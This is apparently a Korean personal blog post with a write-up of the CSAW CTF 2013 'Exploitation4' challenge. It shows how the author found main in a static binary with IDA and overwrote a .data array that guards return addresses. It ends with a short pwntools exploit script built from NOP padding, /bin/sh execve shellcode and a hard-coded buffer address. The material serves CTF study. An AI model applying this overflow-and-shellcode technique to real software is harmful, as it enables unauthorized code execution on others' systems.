KDHzoot's Github

Code for study, project, etc

자세히보기

정보보안/CTF

[CSAW CTF 2013] Exploitation4

kdhzoot 2018. 11. 12. 03:05

static 컴파일된 문제라서 main함수의 시작을 먼저 찾아야한다.



먼저 우분투로 실행시켜서 뜨는 문자열을 기억한다.


그 다음 ida에 들어가서 ctl+1 한 뒤 string을 선택하면 프로그램 내에서 선언된 문자열이 모두 뜬다.


여기서 ctl+f 하여 welcome이 들어가는 문자열을 선택한 뒤 x를 누르면


그 문자열을 사용하는 함수로 이동하게 된다. (x는 함수나 변수가 호출되는 코드로 이동함)





이제 main함수를 분석하면 된다. 


코드가 재귀함수처럼 똑같은 함수를 호출한다.


중요한 부분만 보면 자신의 ret값을 (본인 함수가 끝났을 때 돌아가야하는 코드 주소)


함수 시작 때 배열에 넣고 종료 전에 다시 가져와서 


ret 값 덮어쓰기를 방지하는 것이다.




v2의 주솟값을 인자로 넘겨주는 함수는 들어가보니 하도 복잡해서 그냥 입력 함수라고 넘겼다.


ret값을 변조하지 못하는 상황에서 무엇을 할 수 있을까.


프로그램 실행후 A를 계속 때려넣으니 세그폴트가 떴다.


결국 ret값이 변조되었다는 것





core를 떠보니


arr배열은 .data영역의 0x80F04D9에서 시작한다.


오버플로우 시킬 v2는 0x80F0340에서 시작한다.


따라서 v2에 409만큼만 덮어씌워도 arr의 값을 변조시킬 수 있다.


그런데 main으로부터 다른 함수에 두번 더 번 들어가므로 arr[2] 의 위치는 array주소에 +8을 한  0x80F04E1


*기존의 arr[0]에 덮어씌우면 두번째 함수 에필로그에서 esp, ebp가 조작되는 과정에서 문제가 생길까봐 안전하게 바로 ret되는 arr[2]를 변조했다.





페이로드 구성


dump(417-len(shellcode)) + shellcode + buff_addr(4)



exploit code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
 
= process('./miteegashun')
 
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
buff_addr = 0x80f0340
 
 
print p.recv(2222)
 
 
pay ="\x90"*(417-len(shellcode))
pay += shellcode
pay += p32(buff_addr)
 
 
p.sendline(pay)
 
p.interactive()
cs




'정보보안 > CTF' 카테고리의 다른 글

[CodeGate 2013] Vuln200  (0) 2018.11.22
[ebCTF 2013] pwn 200  (0) 2018.11.12
[CSAW CTF 2013] Exploitation3  (0) 2018.11.10
[CSAW CTF 2013] Exploitation2  (0) 2018.11.09
[DEFCON CTF 2015] r0pbaby  (0) 2018.11.08